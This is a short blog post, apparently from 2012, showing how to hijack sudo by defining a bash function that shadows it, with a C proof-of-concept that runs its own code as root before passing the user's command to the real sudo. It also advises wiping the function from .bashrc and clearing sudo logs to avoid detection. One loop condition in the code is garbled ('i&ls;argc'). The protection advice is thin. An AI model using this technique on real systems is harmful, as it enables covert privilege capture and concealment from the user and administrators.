Jonathan Fabrizio
Visitor

Hijack sudo

Jonathan Fabrizio - 22/06/12

To finish a small serie on sudo vulnerabilities, I show in this post that, with a simple trick, it is possible to hook sudo by taking advantages of bash negligence. It is not really serious - I found this funny and I do not think that it can be a serious threat...

The context

Usually, the usage of sudo can give privileges to a specific user. The user invokes sudo and provides to sudo the command he wants to execute with privileges. But imagine if you hook sudo, the user believes he launch sudo but instead, he invokes a special malicious command. It is impossible : to change sudo command, you must be root to change /usr/bin. If you already have such privileges, you do not need to hook sudo command any more.

The exploit

Well, you think I will change the PATH. No, it is not inconspicuous. Simple invocation of which command will reveal the attack. No I must find something better: I will do a simple trick, I will define a function :

  function sudo() { /home/jo/tmp/.sudo/mysudo  "$@" ;} 

Further invocations of sudo point now on mysudo! And surprisingly, under bash, invocation of which sudo gives /usr/bin/sudo and not our function. No where command either. Our hijack is not visible for the user!

What now ? We simply have to code a clever sudo... Look at this simple code:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

void you_are_root(void) {
  //you win !
  FILE *f=fopen("/sudo_exploit.txt", "w");
  if (f!=NULL) fclose(f);
}

int main(int argc, char *argv[])
{ 
  if (getuid()==0) {
    char *argv_n[argc+1];
    int i;
    argv_n[0]="sudo";
    you_are_root();
    for (i=1;i<argc;i++) argv_n[i]=argv[i];
    argv_n[i]=NULL;
    execvp("sudo", argv_n);
    exit(0);
  } else {
    char *argv_n[argc+2];
    int i;
    argv_n[0]="sudo";
    for (i=0;i&ls;argc;i++) argv_n[i+1]=argv[i];
    argv_n[i+1]=NULL;
    execvp("sudo", argv_n);
    exit(0);
  }
  return 0;
}

This program will recall itself with the true sudo. sudo will ask the password and the user enter its password (as he belives he launch his own command). sudo validate the password and now mysudo is called with sudo privileges. mysudo can do whatever it wants and after it invokes the inital instruction, expected by the user. mysudo invoke this initial instruction with sudo and the correct initial parameters... As mysudo already has sudo privileges, sudo does not ask password again (even if timestamp_timeout=0) and calls silently the expected instruction with correct privileges... The user do not see that before we ran malicious code!

Once you become root, you must clean the definition of the function (in .bashrc for exemple) to avoid detection by the user and you must clean log file of sudo, because all action is stored... (even you can improve stupid call to exit(0) and manage errors from execvp - but here it is a simple POC).

Protection

Heu ? I don't know. The problem with bash is that even if we define a new function for sudo, the command which sudo always gives /usr/bin/sudo and the user can not see in reality invocation of sudo will not call sudo. This is a negligence from bash. Even, no function where in bash. The only think is that the declaration of the function is visible (in .bashrc for exemple). Simply watch out your configuration files...

Conclusion

It is possible to define a function with same name of a system command. It is normal and practical. However the behaviour of the command which in bash is not very safe and we have taken advantage of this behaviour to silently hook sudo. I think, it is not a serious threat as the function definition is clearly visible (in .bashrc for exemple) but which command should be improved...